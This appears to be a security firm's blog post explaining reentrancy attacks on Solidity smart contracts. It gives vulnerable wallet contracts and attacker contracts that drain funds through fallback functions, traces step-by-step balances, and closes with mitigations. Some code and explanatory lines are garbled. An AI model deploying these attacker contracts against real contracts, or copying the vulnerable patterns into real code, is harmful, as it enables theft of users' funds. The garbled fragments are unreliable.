Reentrancy attacks, prevalent not only in Solidity but also in other programming languages, have posed a significant threat to smart contract security for years. The issue came into the spotlight following a high-profile hack of the DAO in 2016, resulting in substantial financial losses. Now, more than seven years later, it’s crucial for us to analyze the evolution of these attacks and their impact on the ecosystem.
In the first half of 2023 alone, we witnessed 24 major attacks, with reentrancy vulnerabilities implicated in four of these incidents. This data highlights the ongoing relevance and potential risks associated with reentrancy and other vulnerabilities in the current landscape.
A reentrancy attack is a type of vulnerability exploit where an attacker leverages an unsynchronized state during an external contract call. This allows for repeated execution of actions intended to occur only once, potentially resulting in unauthorized state alterations and actions, such as excessive fund withdrawals.
In simpler terms, the attacker can repeatedly carry out actions that are supposed to be executed only once. The absence of proper synchronization creates a loophole for the attacker, allowing them to make changes to the contract’s state that should not be permitted.
A common example is the repeated withdrawal of funds – a severe exploit that can often lead to substantial financial losses.
contract VulnerableWallet {
mapping(address => uint256) public balances;
function deposit() public payable {
require(msg.value >= 1 ether, "Deposits must be no less than 1 Ether");
balances[msg.sender] += msg.value;
}
function withdraw() public {
// Check user's balance
require(balances[msg.sender] >= 1 ether, "Insufficient funds. Cannot withdraw" );
uint256 bal = balances[msg.sender];
// Sends user's native tokens
(bool sent, ) = msg.sender.call{value: bal}("");
require(sent, "Failed to withdraw sender's balance");
// Update user's balance after sending the tokens.
balances[msg.sender] = 0;
}
Here, the key point of this vulnerability is the fallback function. Solidity smart contracts can have a fallback function, and its implementation gets executed whenever the contract receives coins.
When the withdraw()
function is called, it sends coins to the investor through msg.sender.call and then resets their balance to zero. However, since the execution of the send transaction waits for the hacker’s fallback function to complete, the hacker’s balance remains unchanged until the fallback function finishes.
As a result, the withdraw function can be reentered with the same state as if it were initially called, creating a loop that causes the function to execute actions repeatedly which were meant to be executed only once.
Mono-function reentrancy occurs when a single function within a smart contract falls prey to repeated recursive invocations before the completion of previous invocations.
Example malicious contract:
interface IVulnerableWallet {
function withdraw() external ;
function deposit()external payable;
}
contract Hacker{
IVulnerableWallet vulnerableWallet;
constructor(address _wallet){
vulnerableWallet = InterfaceDao(_wallet);
}
function attack() public payable {
vulnerableWallet.deposit{value: msg.value}();
// Withdraws from Dao contract.
vulnerableWallet.withdraw();
}
fallback() external payable{
if (address(dao).balance >= 1 ether) {
// Calls the withdraw() again once any amount is received
vulnerableWallet.withdraw();
}
}
}
(bool sent, ) = msg.sender.call{value: bal}("")
and causes the fallback function of a malicious contract to be executed without updating the user’s balance.. (bool sent, ) = msg.sender.call{value: bal}("")
and fallback gets executed.withdraw (calll3)
The malicious code above is a prime example of mono-function reentrancy.
Cross-function reentrancy involves the recursive invocation of multiple functions within a smart contract. In this type of attack, the attacker exploits the asynchronous nature of smart contracts, persistently calling back into multiple susceptible functions.
In a cross-function reentrancy attack, a vulnerable function within a contract shares the same codebase with another function that benefits the attacker.
The following code snippet provides an illustration of such a vulnerable contract:
contract VulnerableContract {
mapping (address => uint) private userBalance;
function transfer(address to, uint amount) external {
if (userBalance[msg.sender] >= amount) {
userBalance[to] += amount;
userBalance[msg.sender] -= amount;
}
}
function withdraw() public {
uint withdrawAmount = userBalance[msg.sender];
(bool success, ) = msg.sender.call.value(withdrawAmount)(""); // An attack can come in at this point
require(success);
userBalance[msg.sender] = 0;
}
}
Here we see that withdraw function has a reentrancy vulnerability. However, there is also a hidden vulnerability that can be attacked by using the transfer() function.
In this scenario, the attacker’s fallback function recursively calls the transfer() function instead of the withdraw() function. Since the balance is not set to 0 before executing this code, the transfer() function can transfer a balance that has already been spent, resulting in double spending.
Cross-contract reentrancy typically occurs when several contracts are reliant on the same state variable, but not all of these contracts update this variable in a secure manner. This form of reentrancy is particularly insidious as it’s typically challenging to identify due to the interconnected nature of the contracts and their shared reliance on a common state variable.
Below is a basic ERC20 token contract called DevToken, which will be used by the subsequent contract: VulnerableWallet.
contract DevToken {
. . .
// For onlyOwner modifications: VulnerableWallet is the owner of this contract
mapping (address => uint256) public balances;
function transfer(address _to, uint256 _value)
external
returns (bool success)
{
require(balances[msg.sender] >= _value);
balances[msg.sender] -= _value;
balances[_to] += _value;
return true;
}
function mint(address _to, uint256 _value)
external
onlyOwner
returns (bool success)
{
balances[_to] += _value;
totalSupply += _value;
return true;
}
function burnFrom(address _from)
external
onlyOwner
returns (bool success)
{
uint256 amountToBurn = balances[_from];
balances[_from] -= amountToBurn;
totalSupply -= amountToBurn;
return true;
}
. . .
}
The VulnerableWallet contract receives Eth and mints Dev tokens according to the deposited amount and vice versa; it allows withdrawing deposited Eth by returning the held Dev tokens.
Although the functions employ a reentrancy guard, withdrawAll()
lacks a proper check-effect-interactions pattern, and that will be the key reason for this exploit.
Initially, an attacker deposits some Eth and receives Dev tokens. When the attacker’s contract calls the withdrawAll
function, it sends Eth to the attacker and triggers the attacker’s receive function before updating the Dev token balance in the DevToken contract (success = devToken.burnFrom(msg.sender))
. In the malicious receive
function, the contract performs a call to the DevToken contract to transfer Dev tokens to another malicious address before its state is updated, leading to double spending.
contract VulnerableWallet is ReentrancyGuard {
. . .
function deposit() external payable {
bool success = devToken.mint(msg.sender, msg.value);
require(success, "Failed to mint token");
}
// This reentrancy guard is not going to prevent contract
// from the exploit
function withdrawAll() external nonReentrant {
uint256 balance = devToken.balanceOf(msg.sender);
require(balance > 0, "Insufficient balance");
(bool success, ) = msg.sender.call{value: balance}("");
require(success, "Failed to send Ether");
success = devToken.burnFrom(msg.sender);
require(success, "Failed to burn token");
}
function getBalance() external view returns (uint256) {
return address(this).balance;
}
. . .
}
—---------------------------------------------------------------------------------------------------------------------
contract Attacker1{
function setMaliciousPeer(address _malicious) external {
attacker2 = _malicious;
}
receive() external payable {
if (address(vulnerableWallet).balance >= 1 ether) {
devToken.transfer(
attacker2, vulnerableWallet.getUserBalance(address(this))
);
}
}
function attack() external payable {
require(msg.value == 1 ether, "Require 1 Ether to attack");
vulnerableWallet.deposit{value: 1 ether}();
vulnerableWallet.withdrawAll();
}
function withdrawFunds() external {
vulnerableWallet.withdrawAll();
}
function getBalance() external view returns (uint256) {
return address(this).balance;
}
}
Initial Status
Eth Attacker1 | DevToken Attacker1 | Eth Attacker2 | DevToken Attacker2 | |
Balance | 1 Eth | 0 Dev | 0 Eth | 0 Dev |
After the Attack1 contract calls the attack() function, it executes the following steps:
Step 1: Attacker1.attack() executes vulnerableWallet.deposit{value: 1 ether}(). As a result, it mints 1 token for the msg.sender(Attack1 contract)
Eth Attacker1 | DevToken Attacker1 | Eth Attacker2 | DevToken Attacker2 | |
Balance | 0 Eth | 1 Dev | 0 Eth | 0 Dev |
Step 2: Attacker1.attack() executes vulnerableWallet.withdrawAll(). Hence, it executes sending 1 ether to the msg.sender(Attacker1), and the fallback function of Attacker1 gets triggered.
Eth Attacker1 | DevToken Attacker1 | Eth Attacker2 | DevToken Attacker2 | |
Balance | 1 Eth | 1 Dev | 0 Eth | 0 Dev |
Step 3: Attacker1.attack() receives function of Attacker1. It sends 1 Dev token to Attacker2 before the Wallet contract, updating the state in DevToken by burning it.
Eth Attacker1 | DevToken Attacker1 | Eth Attacker2 | DevToken Attacker2 | |
Balance | 1 Eth | 1 Dev | 0 Eth | 1 Dev |
Step 4: As the last step, 1 Dev token gets burned from Attacker1.
Eth Attacker1 | DevToken Attacker1 | Eth Attacker2 | DevToken Attacker2 | |
Balance | 1 Eth | 0 Dev | 0 Eth | 1 Dev |
Eth Attacker1 | DevToken Attacker1 | Eth Attacker2 | DevToken Attacker2 | |
Initial | 1 Eth | 0 Dev | 0 Eth | 0 Dev |
Step 1 | 0 Eth | 1 Dev | 0 Eth | 0 Dev |
Step 2 | 1 Eth | 1 Dev | 0 Eth | 0 Dev |
Step 3 | 1 Eth | 1 Dev | 0 Eth | 1 Dev |
Step 4 | 1 Eth | 0 Dev | 0 Eth | 1 Dev |
Since the attacker now has 1 Eth + 1 Dev token after performing the malicious attack with 1 Eth, they can repeatedly execute this attack to mint a significant amount of tokens, potentially leading to the inflation of the token’s price.
Follow @hackenclub on 𝕏 (Twitter)
Rari protocol is a decentralized platform that allows lending and borrowing. Protocol’s code was forked from Compound, and their developers accidentally used one of their old commits, which led them to get hacked.
Their borrow function was lacking a proper checks-effects-interactions pattern. Exploiter has seen that and showed a reaction by getting 150,000,000 USDC as a flash loan and depositing it into the fUSDC-127 contract and calling the vulnerable borrow function to borrow some amount of assets.
As we can see, the function first transfers the borrowed amount and then updates the accountBorrows mapping. Since the function does not have any reentrancy guard, the hacker called the borrow function repetitively before it updates the mapping and drained the funds worth $80 million.
function borrow() external {
…
doTransferOut (borrower, borrowAmount);
// doTransferOut: function doTransferOut(borrower, amount) {
(bool success, )= to.call.value(amount)("");
require(success, "doTransferOut failed");
}
// !!State updates are made after the transfer
accountBorrows[borrower].principal = vars.accountBorrowsNew;
accountBorrows[borrower].interestIndex = borrowIndex; totalBorrows = vars.totalBorrowsNew;
…
}
The hacker borrowed x amount of assets using a flashloan and ran the doTransferOut function five times in a loop. After paying back the flashloan, they took the remaining 4x amount and disappeared with it.
Transaction: 0xab486012..
Orion Protocol suffered a reentrancy exploit on both Ethereum and BNB Chain, losing nearly $3 million.
The fundamental issue was found in the PoolFunctionality._doSwapTokens function. This results in an incorrect computation of the asset balance, specifically USDT.
The attack resulted from a reentrancy vulnerability within the swap function of the contract. The doswapThroughOrionPool function permitted user-defined swap paths, creating an opportunity for an attacker to exploit this with malicious tokens and reenter deposits. The situation was the ExchangeWithAtomic contract’s failure to validate incoming tokens and implement reentrancy protection.
Transaction: 0xa6f63fcb..
When tackling mono-function and cross-function reentrancy, implementing a mutex lock within the contract can serve as an effective method. This lock acts as a shield, preventing the constant invocation of functions within the same contract, thereby obstructing reentrancy attempts.
One widely-accepted approach to implement this locking mechanism is to inherit the ReentrancyGuard from the OpenZeppelin library within the contract and use the nonReentrant modifier. The “Checks-Effects-Interactions” pattern can also be employed as a viable countermeasure against these types of reentrancy.
Regardless of the type of reentrancy attack, following the “Checks-Effects-Interactions” pattern in smart contract development is a best practice that enhances the contract’s robustness and provides a significant layer of protection against all forms of reentrancy attacks. By doing so, one ensures the correct handling of states and their updates, thus eliminating any room for potential malicious manipulation.
The problem becomes more complex when dealing with cross-contract reentrancy. This type of reentrancy can be effectively mitigated only by strictly following the “Checks-Effects-Interactions” pattern. Cross-contract interactions can involve unknown or unpredictable external contract behaviors, necessitating that all state checks and updates be concluded before any external interactions occur.
Reentrancy vulnerabilities pose a considerable risk in software and blockchain development. Protective measures like mutex locks, pull-over push payments, or reentrancy guards in smart contracts are essential for mitigating these threats.
Furthermore, regular and comprehensive audits are essential at every stage of the blockchain development process, specifically for smart contracts. These audits not only strengthen the security of the contracts but also foster trust among users and stakeholders. I strongly believe that a deep understanding and prioritization of safety are pivotal to the sustainable evolution of blockchain technology.
Be the first to receive our latest company updates, Web3 security insights, and exclusive content curated for the blockchain enthusiasts.
Table of contents
Tell us about your project
13 min read
Discover
4 min read
Discover
10 min read
Discover